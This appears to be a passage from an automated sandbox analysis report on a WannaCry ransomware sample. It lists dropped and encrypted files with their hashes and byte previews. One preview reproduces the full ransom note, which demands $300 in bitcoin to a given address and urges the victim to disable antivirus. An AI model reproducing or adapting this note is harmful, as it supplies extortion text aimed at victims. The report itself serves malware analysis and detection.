                                                                                                      Preview:WANACRY!.....<......n..-._.......Ga98O.^P....5.|64y.w..h..&.+0Z.....>.S.w.x...V.xh...U..#."..K.*..v(m...1...n-eK.f..z9.....d..?.jp...3...6@...vl..oV../.,...f).:..I6D...B.XV.&.FR.R..df...+....B>..J.LB.h<.*....e.D..9..]........G.Y..S.$$.g.K..........*. .%...................HX..I..a...s......3.$.B'..[...!..../.......$.;.;1:.'..e.6..U.".H.......`.....A..[$K;'.-..........+..l.L.AY..g7.........-X..3Y..0ku..yN.. .....^_a.T..Y.$*V.4Oa/...d"..).... @V`.9.D.p..'..Vm?8....A.!.....\v...5...=-<'....~.....J.;..$8AT\.Scq-`6#........g.uU........F.__P$....k.8..b.(....J.._k-..+....W.......E......vd.+..6..:8...A.;.b[.r.....[...%.G.(n........V^.$..."?S.... 5.;i......W\.1..AZ.UA..A)..M.D....1...oE. ...1....P.]._..C'g.&...'.M........).`...joj.l.ULr^.o...a5).._..r.nz...D..J.@..s...{...;.c.......8.a.}.mn.dh.n[,.,.A.*@5...?......Q1U$JM....<...w.d.......u.M.3c."7......^.E..8.,....1.:..x..m.d.4...p..R_..X\D..3......&x...%...NL.....P....3...e.-,."7.L..!GH^....1.(.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet-icon.svg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2008
                                                                                                      Entropy (8bit):7.91506183290147
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bk9MlJtKBEGD6saavwU9fMp/Pup3O0Yz4DBASNv:o9MlJtKOGD6Igop3JrFRv
                                                                                                      MD5:D21F763D6F17D3564BD655E6ECD9B8C3
                                                                                                      SHA1:26B2A84B2EFDCBF1E70776E11544921B2897AEB7
                                                                                                      SHA-256:24D8BE6E483542EC8E767AFD48330CDFBD9DA9730055C186F4A69D357EB2D160
                                                                                                      SHA-512:904B30B4CB4B461014C94B9D202EF16E80FE933F424E1ADE4E6F9FAB61BC201BD43562FD69BE3F01AA5CC74307C499873341FE6441923988AFE81B2C25624A8A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........G.%;,...G..{.FM..|....j`. ...e......%..............11.......Mrd.Q.K.u68:q.......)R.o..oi.......OY..@.W....6.d..e..i..u.v..bc...x.....!.p~H......{...\q7.:...?...G.T..4..........e=w..Z.D.....-..D..#t.4+.8n..d`..vf*.q..Q.e.u..bI....t".r..q.................$K....>..r.Z..Y..`#m.[.L.....v...?k.@.5;....D...O6...!.E.u.....s.c......_.]^.J.3..'s...../...n.:.....y.a.....pnI(..;.....I`9.B.m........h;mT...<yn.k/a...|.s.%$.l.....h#w..i_&..{.'E.d.12.X.K......'.rP.....1..-[....4>U.=.........#...E*...O....lp..Vd.7.*.......pA..N......X%*.m...^9.u.\0<..........f...RrAK.....PO.^N.hoE..B.S......W&;~..,;.!....%..j3........n%...._|bC.aH/}.g.._.."c.._v...b...p.....Mg.)h pt.F......N.;<..T.?H6A./..|...(....Y..b.h....dX-..`.-t.....N..4.d.... ..&y......S.....pu.@(..> .u....G.f..8..Q.h.o.8..rZZ...F%...`Z.;!.#4<o..E.f......+].....e.U..?a...!:./{;.V.4x...G.<8.y..Xc...z..\..5AH6A..p.+....)/\.....K....;XL..rj....v.......5... ...@K...(.h......7#.>[I...|.QT.S......@

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2937064
                                                                                                      Entropy (8bit):7.999935161537464
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:WqKs8xAcs4I1ZC1azmzsoIZ9KgVbpfbZdGin0zneJigR7DhwBJV7+BPICTZiVkvQ:os8xAcqfb8soy9KgTfVdPn0rSRmLVaBe
                                                                                                      MD5:B89791CD4D73314D618D6206727D5F91
                                                                                                      SHA1:EB5F2601C15A3536ED6DF31E200A4D9B80729A1C
                                                                                                      SHA-256:6F443DA88DF142E586A16C7C6DA73FADF2AD6C6A196D8DB9F53268B9CEA643DD
                                                                                                      SHA-512:2CB5FDDDBB4666F9C7283FA60C7806711C7583833477B6B51AA55BFF9EBBD9FB21A68A222BBC98CB65AECB8D1CAFDED9394F4C311B02B631269BAC3D574A6BDC
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....[G....o]%....l.x.......#..p......G.@..$.}. ..{....Y...5.C .d@.v..P...H..&2.....<6...R+...Y.1..j.7UB9...7......(..?..*.[...x.....~.......]..*k"(.e.....Z...C....7...3...Y.E.r&r...NU....g.e.......*..+.%.[.1E...M^..W..=x...=O...=...E.........$..4`......,.....z.z..!....m...Z.w.FS.R.$...`#...l.<-9..j.x$...G9V........).........i.....70.0.i...DX..m...1&.3,....S.U_../N. .?6..f.G....j.2.|\..:~p.>.T7......O...9..m.[.L...x2.V.dH=..u.x.f..CBON..}.WM........\..>}..1\..J......Ip*.x..B.....3?.5...".J1YV..._...R..wd...(Oq.e..]X...t...#.t...........=r./.9.?.....I.....I...i..U...|./.o.j3.1~......."!.....JI.....0.....ZH}*R..)`..Ho....h..zz..aP_..:....S..=....&.Jq..n......mh...8?QI....(]NF....#.j.R....}.O....0.......`....W..b.f.x..X...S.]s.....I?C.#..uf..,....+me.i.SU.....a.G..L../..YIS.\.#..2.B...._..24.e\v..-.b./FX..a...Y{..8.f.N;TW].r..{8.#..$z.K.K.....~q...`...m.E.$....L..u.l...0J...q....gP..Z.O.8@..q.,....i..+m..#...}`C..w|..0.>~E...i;.P..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\adblock_snippet.js.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2600
                                                                                                      Entropy (8bit):7.932968330777499
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkdUgFvVVZ9DFQGHqRbfWX58+CZ6oWvPzvn2qh4mNW8ujPxVl+QXtSPayDAL:oOqv3ZbQY8a7E3Wzvn5h4mNcjXl+QXt1
                                                                                                      MD5:6E850D0A89B9E5CCCAC1D6316EDBCD4E
                                                                                                      SHA1:0FB3143F8496B96FCC06F9ED1C383A90B0819BFF
                                                                                                      SHA-256:957E07F7E8D0E4A2716885384418944112B27172BB424F650DCD3796F0C582E2
                                                                                                      SHA-512:9449003B57E3CDA1A65F7F0AAB17963DE9B424EFEA2D5F17C81EFB35FD4F8EA56E9571CBA8FACA03F40CF831325703E3491F7CD0F05FC1C776B3A24AC13D0BD8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....._}....pE..T'=....me...4.zNf?Q.......Q2.0...~.s..)...lm...J.*j.....w|..p...#..;T!G.i.Crf.....B...<st.....!vkzo'......1......H...A.8b0..&....z....D6...&..].Q.^M......>h......{.A:..6.RLJ]J.... ..b=ytv_.mxe...4.....g.T>...A....L.i.a.YBZ^W..C.2.Y.............?.h.])..!?.n.q..A_..`m.pf....q........L.....!.....$ .Nl....<0M.2.Z.*.<.".T..E.(9GyOW....,#.l.e..J5..a.D._..C.3..K.....\......g...-........A,.By(.Z....S..v.rX.U:..s..].e2s.6.,CgLe..`.....+.........8.........g..l....].."&.E.....LZj\........c....p..M#.OY.....f......0......Y.....!......A..*.I.|.......+..?...D.K|C.A./...........B.....&}`m.D..K.#....-.....P...i.M.'...`.....I!@c...jk..T]~p...l..........}B8....`[.^;Z6m.@..qPOR+....X...I.,.J........M.O..W.!....c.4y.|..0.....[cd..2.WD...-.$...".E_t`.g......nk.`.,...[).#...T[.M.:.R.Y.....&\.W.]k....*O.dfQc.{...t/.i.u.=..C....Pe...O.J..|....s..Y..8...8k..,'.....ezv.e..w.G.;...o&.....c..`_........./XF....0.....>Y..N.......T

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):6856
                                                                                                      Entropy (8bit):7.972103225087067
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:16eX7CnwjFpzM4VK6DOHwCbHPVdYvN4/CRj:1bX7i86S/AwCbHPcvN4/S
                                                                                                      MD5:C746D9B507DCEB6CC14048D4C3B6D9CC
                                                                                                      SHA1:7A2F3EE94D8EC1171915E7F2B92D8B53CD7BD3A0
                                                                                                      SHA-256:DD5260C9AEC44CE9BA6BDE625D5654F76C1DE57766C8D4C43F4DF43804431DC4
                                                                                                      SHA-512:20A76130C67C5473F7B1340B600C62501C9DD83F5667C0F8AB6BC550E1CFF1BE9BB83421E108F171A7BCA7F63114DA384214706691F3F163DE6060820BBDC5A1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....%...o.GJ.U_...9&.....q....f..<.J.....DL..I....r.......r.HM..h.*...4T...;?....P. ./]..<..f.Z...>'cR....1.eu.V|c.)-`n....`.4.@P..o`si..Q....&.}c.Mnr.F..z..sA.7....`Z)w...F.c..0.B.../.[O..B`...K.^A).GE*/.=.&.#H....$.....%............=E{...O,.83|...................c3.].X2.j....V....J..]..ZJ....".:..d..%...._j........5m..}...p.P..p.....*]~......n.....,.+..>...x. ...6W.A.[..(..o..#p.(d..}....@2...~..]2.........ng;..l.!..Nc.....C..,...=.....(..27.........B...[.!....x.0......E....x....n..&].%o..J!L......yw.B..`.!!.......]adN..<.R......$..P..s.J..b.#...X9V.Wu >..-.'.P....o.`..y6b....d..-.`Be.*....7m.......4.W!....a.Ui+P....9....;1sxX....W.z.....i..8....{......u../..h._..t..Y...w.....A`}.......).&.N..%..<O...n[N...W.[I......;...H*J.".5..8..R.....$.....X'.b..6.....I....{.Z...k.....z*A.!y=KXY..3.}y.,....O......e...p....91...u..Q...`&2+.*...I..5).!Q.........r..#.......Q^...`..tD ;."".A......G.....Um...r<.b.#O......i....;.u%E.f...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.9925338023899934
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:eJIpaRJSLRCtiOwM8BajlTITFAqjKTRIBJpYSK:eJIO0RiiOVDTg+qI4y1
                                                                                                      MD5:347AF28A32EACC3AF224B50AD3DC722B
                                                                                                      SHA1:495AEB15790628B94737EFC77A5EB15592A33E31
                                                                                                      SHA-256:EBA28EC41E28E503C1B1003DF339B2B2D0C2F3E986D73D8F448946437E41C859
                                                                                                      SHA-512:872BD34C2E95F914B5C2067D1DD5D4B8611E738ABF6D3D98A7E6C62115FAE8D2ACD86D4D26815438D56932F7006F458A925C07DA13FDB24F3065B4956414CECD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....o-...L....F.Y.p.A...X..$8....S...{.S..,..t...4....4..%Y......4.w.1.].H.J+.wty..ndg.....4%.O..X...,..b>Y..(.T.^$....P#.V#7(. h....[H.9.K....;...RsN...+.U....?..."7.8..........p.oE....~.h........TK..y.`.A.....!.I'5X...y..8^...a..7..*U>.^..........`.......T#.0A...(.y.....3d.G..jL.s.......5g.D(.$^..,..........1Xx.)!i-.7v_...F/.u....]m....fI.AI...#...x../[.II...=....172...r.......wT3...7<.[...........m.@.&..\.%Q.!......xi...q.b.k...!n.5..pb..~.M.....P...i.n@..M..l.Hn*.k....6.=..]` R....r.rb.bG3....B.,..j.w.|.h~..........b..%.Jzid.3dQ..x .....%..{UA.d.e@..c..f<ZvO..... ...|..o\....Bx....&....=p.o.G..;.U..l=S}..:...........p.*..]...._..ST9...G..K...p......,&....G.M.EaM3........M.g0w~.P.k.6rK.3..O..Q.e_..'ek...}~.....3.......C...W..<!......).....a.k..wc........X.Q....X.d..r.#.d...E.....i..Qz.l...^I.j.u.j.=..dod..{...pKq.]....f.&.9...*8....v.QJ..,...t.8....n*U^.{P...?.....I.%=5.&...G...d./:....G.....I .$.xD...O.....["[t...B...t"...5.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.9915393108654476
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:5WytBN0PrLJMg5Zi9Ff5gReLjf3zq4KeThufPiyDDHckdIvrVK95+OcQlCpup:53tB2DLJMaGKeLbmfxfPiyfeMP+O78q
                                                                                                      MD5:DBA1832BA1D92F582F632DBC2BA47632
                                                                                                      SHA1:C33A88E047117B9E32C2E4167C89507EBB7ADC78
                                                                                                      SHA-256:BDDB9E61817553CAB0C8F422BF61CFD076C4D10345D8AC20F02D3B76A8057F82
                                                                                                      SHA-512:25568862FC5E99759140138D65E927A51C7B995A0A4CCC4DEA991C7BE77F5D99B4F6CD3A0EEFCA6B3D053E6E257F89EB1F50DAA04254638EC7E869037D75B34B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....B.~h]....J...G{.......gJ.sOB..}......F.....x...k.$I... .?l<..6>..V.2.,5.hV1.j.Y...K...t.^0.RY...MQ...."[.M.9.2sXe^k..nr..u.M.].5.H..f.j.2.8.....GB.....g.1.........Tj....M~.s....A.9.x.)n.7..(......c......G2.)..?..CD*~X,..I..2."...xI..........`.........-.Q......+...V.._1.Dn.u....Fv...mg......7..^..x.7......m.................Q.y..?../.Q..D![..../...V.\\.....o.r.@.9y.z.`.Qa.....w...-^u..w......sO..Ke.$.}.t.}.-j....w.)..~.......Fp..%.4.JKS.i.D8.k..(........rK...B2Z.x.u..1<.....k.4h}..WOZ...].wa.6.%l.v)8.BJ.. AD...pC.:....~/....$.................T..p..42....Z}..Wg.d(..b.....7.\.......dA4. .@,.$`...9].........w.Pu-...S.).Tq7...^[r...c.....".!h.s..W.H{.r.-..}......[....ni)...U...,?....U} ...--.....!.2....T.Pj4..,%...&f.._..*hO-._,....;{.(_p......{.8....*C.0<|.cf.7.....h...;S?...?..C...O=.....C..%$.....j.e.o...g..k.T..bi.....=.c.a<.V1..@...mmp..>&I..-.*.L.W..+..;..I....1..N..."0f#)O=0s...b..Mc...%....?R.S.....^.....Q0.O........^rh.{

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.992318890143467
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:384:SYZPesnhkTU3gfcWt3BexSn7Y1Q93s+dZpxlFr9AZQc1TjtRppMQa4orcHH2wdb/:SYZ/wfcMA1QtHlrva3tRppMJrcHH2A7z
                                                                                                      MD5:6DF799338946224A769C7544D4ECAE4B
                                                                                                      SHA1:D2F9AD5FB3A9DE1F835EE97628854B2BF4C842E1
                                                                                                      SHA-256:2538A5D055741144C3CCA92F9041299F3E7D629D6D379AB9A150AB92FBE2DCBD
                                                                                                      SHA-512:FA8D7BF5FD66A59C9B08D5F9B603F5BB6FE50085E6FF96148B61E823F382D858FFA876BFC5EA2EBEB04B1C5AD68B248F1901B50E5C893398E7471C39F873C8C9
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....#....dx..ki`..y\j......,9...[@..s.:....7J..{.....{...'.\.l...#.$_r6....|ke..........Nbp."#..1.~...#.d...U0;........;4/..n...ZLD.b..2x1s../.*..{.......7(V......-..j...K...5G. [./5.y...<.{4..Cwz._.4*.J/v.-p.$...+.'.....}.]%...`/1|...7M.h.D.dp._.......`.......x]!.o..L....<vI.$.....R.....]....2.CLw....%......^QF..)...9..XI.$..fr.B.......%0..~$%..F..3.~....g.F..W..,.0....]....).aM3...Rs.Y...u.R.x....T....E....1..@'..Vm+7../%.....uF......<.1.."._....r.+..CJ..@.+k..qEl^K.........u.J.OgqJ4I......v......7. .R...+.R;...!.n-R.I..}...(.%.t...!..:.%.S..........W.x....Th....v.<....VQ.eq.XM.fY..?.L$K...McV,T.W~.....F..#j-6[,.>...X.EVl.d.wg......{.i.-...gwV...4..*....p7..f}$S..bQ`....;4.;=....\....$...i...C<.XN@..K...+J....o.cK.. .......".$|.J.\...#.f..k.*)_.....Aly4.W...%y;r?.h.-.Q.f...C....c.|,.C..:..VOdK.:h..<...lYb.Ru?O..&q\njI8....#......i....5....+.Y.j.:...;..2m@Z.?.....}.A.s.B.F.....[3Q....lvjvdh.....M.q.XH.Z=...a+......6\~.;&.....z.K.M.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):24856
                                                                                                      Entropy (8bit):7.991547692106846
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:768:oNBE4iITyngqIQNzeKjKvXYgSpv2B8Ic60bHfkL8wim:o3ERIWgCzeKAWDH60bHfpzm
                                                                                                      MD5:EAEA89BE7862A989175250EEDFFA773E
                                                                                                      SHA1:BF8CCBCD313D9F5388A7CFB7B9A512CA1BD51915
                                                                                                      SHA-256:CF707530B099083CE8BBE78B898BB225F4499ED7CAEA04685FE1F3E68F9E39DC
                                                                                                      SHA-512:0ED332B4A1091A8ED8EEC4D9C126EA2F23EA99A0B8C32D17A792C76C65916090003424C2ADC86FC55D47111E2625A611F6EFBB3F8C658BBAC155DAF5959E374D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!...._.+}`...]qci'B......x.>Rx7..=...f..S.[...g.-....d:........#....Nu......~...V.1:R{.a..J.9}=NLvqm...X......K.+Q.jq.T..j...a.D].b..R..)...]..`.u1.Q=.^.].L5.2..D..,...9...6..5y..Q!...q).)....I=...o....0.....4...`*.p...X.-....l.h.....C0..2\.p.e.uAg...._.....`......r.A.r@....>...4...:f..z..t.e=..E.&"Oa..g.I[:.O0.y.....~..%..~~n..C.....8..G.......0Pn.c..:........6u ......%.......l.o.C..|....Fy.y...s....f...zR..e.k.c.N....B)B...FOu.b..j.f..../.8...q.......'S..R..O..)H.A|...^....u..g..#'D...%..1xN...+}...sQ.xrgw.u^.S...k..f.....n....<...{[.......e.w.y......AKeV'..Y0"u.+.8....2;m.....A..S.t...D"..O.4..<..:BJ.{.@..........N..y0..N.z(.q<f~;....?..X..>.E.3..<{...dL...b!D..$7.S......,VOO.T...=.U.T....u..G?.D/....#$j3......X_.9.Q.0L).:..d..p./.:K..I._......*y.8..y...F......l......+|.YI......@.G....... ..\..}../.j..5..h..aV_.......P.../.}..K.....i=e3...'...../...v.-.F...$..?.v.:.1...v.....Jc..>x'.LX.t..c.t.......[_f..4G.}n)..K[.Z..#...

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.988825136792057
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:39U4fRpk1ceUaLwjaXKRLBelpfDbi8DHxO6HtH:55mLwGXKd2DxO6Z
                                                                                                      MD5:0FBC5CCDCA2E5F77C3068DBF6630B1AA
                                                                                                      SHA1:71D0A7B3E35F0B622811A2ABB1DB94B807420E6A
                                                                                                      SHA-256:7B0533D7A24F03A3B55A264F60A8581733F9B65BACD58B53EDF6F2C88A4D5254
                                                                                                      SHA-512:DCEF8ADAAE2F701E4F77851B40950B135800459C0F0172E6F65261AA370D5214CEB87241AC43A06EEA7EAF614C4FBE3B914FFA0A9A996DA0D78B9591EEDF4D9B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....-..n.....s6.ay....it..P.e....5..%....#...J...h }.Y.O..1UG..N*.H...v.X..ZH..%.B5.b.Ovo..5d.|..Wn..|C..Z........G..'......5.&4.BLb..T....@T.......C..~.*.p....".Ie.x.<..c.w.q.......0..S...^Z.....b.oE...4gXT.+km.i.UQ...oe..D+-..L7.T.Z..Q..]zh0@)m.J........@......Q.Z."..{0......s;.P.{R...H........x.......a.Tt5.KD.5.....s..\...P!9..5.0...YJ.J&.D..v.*}.q.x..,......Qa..j...o...K.....g.;...e..sd..v8C.....`..J..^.&'4...j...xge...W...7>.:......S....|0..V....#..g.x..kyp....?..V..+%'.J..'i..4....D.v.....;..U..X.B....jj..J.....a...\z.}....`.H..fA.Hwt.w..Ez$_.I.v..q..y=q~vjA..AI......+Jc..G.....g.d...{.K.B...^F*k.N..G.....o.r.4R{.Zw..V.........!.h.4....O..L[..7...q...x:..W.l)....|+...N-.%..\+....7.V.....8OT.......b.r...P..k.9.N.eP.w....h...b......S.*A.t...:GJ.%8..s..D.l9gH.J.e.*J..R.Y .P#..y..8y.D.Q.j..4g.4.cQ...Q.%.C@.......}.e.....j.e..2.?...n'..u..r..p.).-?..3..%..A..hRv....R-lR!.......Q._...1_...R.Ci.......`....N.\#..........A..

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16664
                                                                                                      Entropy (8bit):7.9890645911003135
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:S8IxOacCM6ZrAQcDHcunL2tQiH//eZ93xfNqYqXKq:S8mq0OD8ufi+T3x1qYGKq
                                                                                                      MD5:255D8C47DAA9383342D8DA26CFDBC96E
                                                                                                      SHA1:C8B849941C5DECB018D1C5C2D27FC28DE64D58ED
                                                                                                      SHA-256:C3187FBF441F11870B1E04C1958488DFEE6C48D556557C6BCE656EAEF1E9C04B
                                                                                                      SHA-512:0B4851FB49EF9AC86E8B82A47B0205D8C88BFA808173EF45AAA361369349BBCC8E1CC92E786FF64BB52882C8CA31D4E9640A4D704F8F73284343B38E2B8000F4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......u`..\..pUw..z.>.n....-..s...o<./G.)2{......J...|..O6.9E.........U,H..g..q..a..ch.8...B.Z.A.]bD.p......^.s(.v..+.[.8..a.r.mAQ.................;ma.^..u.6.J}b.....G4....#P..48...9.....2..b9.........q.[.......C..K..N.....D8.J([.p....kr.........@......5-E|..b.d..P.3./>j..=......|u.nB..[...;.PC.9.I3'.....b....6.N[v.].C......H`.QB..*.k`-).4..n..s.if.....q...........$nq...$....!.7..=!)...r,s3........V.._."..z...{........`..O.'&..+.......Y5..4.7E.D...B.u..(.y.{.W.A..{..f...!.R.j.B:;.7h~.d0I.#..l...q.M.....O.u......z..X...0.V...'..?..p.FK..!.O.,.e...u...-....,...C..*..........[...)...#..Y..7......I8>..!..a........2.j...G..J......G....;F.$.im..H.....c....2..Ly...-4".&.....G.J....c.>?o....c....{.=-.F..Q.q..TL.L..(ACZ...Y...q....n$+R.l..aK.$.w..s.}...DC.&.....T..G.*a........_...->..-...bg..B.......9..!{.._f.Tt.-.K..|....$.a}y.U\%M..........X....X&.r@.J..%.Y&..6...Zp&8!.|.:S.E..'kJ.f..x?........W.r.......M..>.z!....J......f.#u.

                                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):424136
                                                                                                      Entropy (8bit):7.9995795801314005
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:y6qXcGh8lrG/XKLvgyIavQptfKjZifKfq5HySKLmqbROCetn8kmN8KQVr0JKr20U:/lkXKLojavQpLcq5SS7iOL0bQx/G
                                                                                                      MD5:FCF3CF8D5C72DCC51A78462C03AE1CCF
                                                                                                      SHA1:C2331AB2FF53E9755C9883B0AB2C4FE0162F3BA0
                                                                                                      SHA-256:8316C1AD0150A5A58722962754E1EA1803735A4E80B2D505E55854ACDFDDE430
                                                                                                      SHA-512:24993B3835120192CC0C4F2053E62B9F000FFB8D3AA3B80B44AC1881769BAF2AA4E1289145A52BECF7FA19869C1EF018759A2CB25166B552F74DA1AB021261AE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
